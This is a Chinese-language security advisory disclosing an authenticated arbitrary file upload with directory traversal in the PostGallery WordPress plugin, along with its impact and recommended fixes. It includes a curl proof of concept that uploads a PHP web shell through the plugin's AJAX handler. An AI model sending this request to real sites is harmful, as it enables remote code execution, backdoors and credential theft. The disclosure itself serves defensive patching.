PostGallery-CVE-Report

CVE-2025-13543 披露公告

CVE-2025-13543 - PostGallery 中的漏洞

本仓库披露了在 PostGallery <= 1.12.5 中发现的一个漏洞，该 WordPress 插件由 rtowebsites 开发。

🛠 受影响版本

• 产品：PostGallery
• 版本：<= 1.12.5
• URL：https://wordpress.org/plugins/postgallery/

🔒 分配的 CVE

🧾 详细描述

CVE-2025-13543 — 已认证（订阅者及以上，Subscriber+）任意文件上传

• 受影响的组件：PostGallery AJAX 上传处理器（postgalleryAjaxUpload）和 PostGalleryUploader 后端
• 攻击向量：通过目录遍历实现已认证（订阅者及以上，Subscriber+）任意文件上传。
• 触发条件：任何经过认证的低权限用户（例如订阅者 Subscriber）都可以通过目录遍历将任意 PHP 文件上传到攻击者控制的路径。

curl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
  -F "action=postgalleryAjaxUpload" \
  -F "postid=1" \
  -F "uploadFolder=../../../" \
  -F "name=shell.php" \
  -F "[email protected];type=application/x-php"

• 影响：任何经过认证的低权限用户（例如订阅者 Subscriber）都可以通过目录遍历将任意 PHP 文件上传到攻击者控制的路径。这允许在 Web 服务器上下文中执行远程代码，从而导致网站完全被入侵，包括修改网站内容、窃取 wp-config.php 和数据库凭据、部署持久后门以及创建恶意管理员账户。

❓漏洞成因

• 在 lib/ajax-actions/imageUpload.php 中，在处理上传之前，强制实施适当的授权（例如，要求 current_user_can('upload_files')）并验证加密 nonce。
• 在 admin/PostGalleryUploader.php 中，严格将 uploadFolder 限制为 wp-content/uploads/gallery 的已知子目录，拒绝任何包含 ../ 或绝对路径的值，并在使用前规范化路径。
• 使用 WordPress 的标准上传 API，例如 wp_handle_upload() / wp_check_filetype_and_ext()，并将上传限制为不可执行媒体类型的白名单，明确阻止 .php 及其他可执行扩展名在 Web 可访问目录中上传。

一点感想

没想到竟然存在这种类似 CTF 的漏洞……。任意文件上传本身就已经很严重了，居然还伴有目录遍历，真是令人绝望。复现这个漏洞的过程非常有趣。

🔍 发现者

姓名：MooseLove
角色：独立安全研究员 / 漏洞猎手
联系方式：可根据请求提供

📚 参考资料

• 产品：https://wordpress.org/plugins/postgallery/

⚠️ 许可证

本公告出于公共安全意识而提供。欢迎署名分享。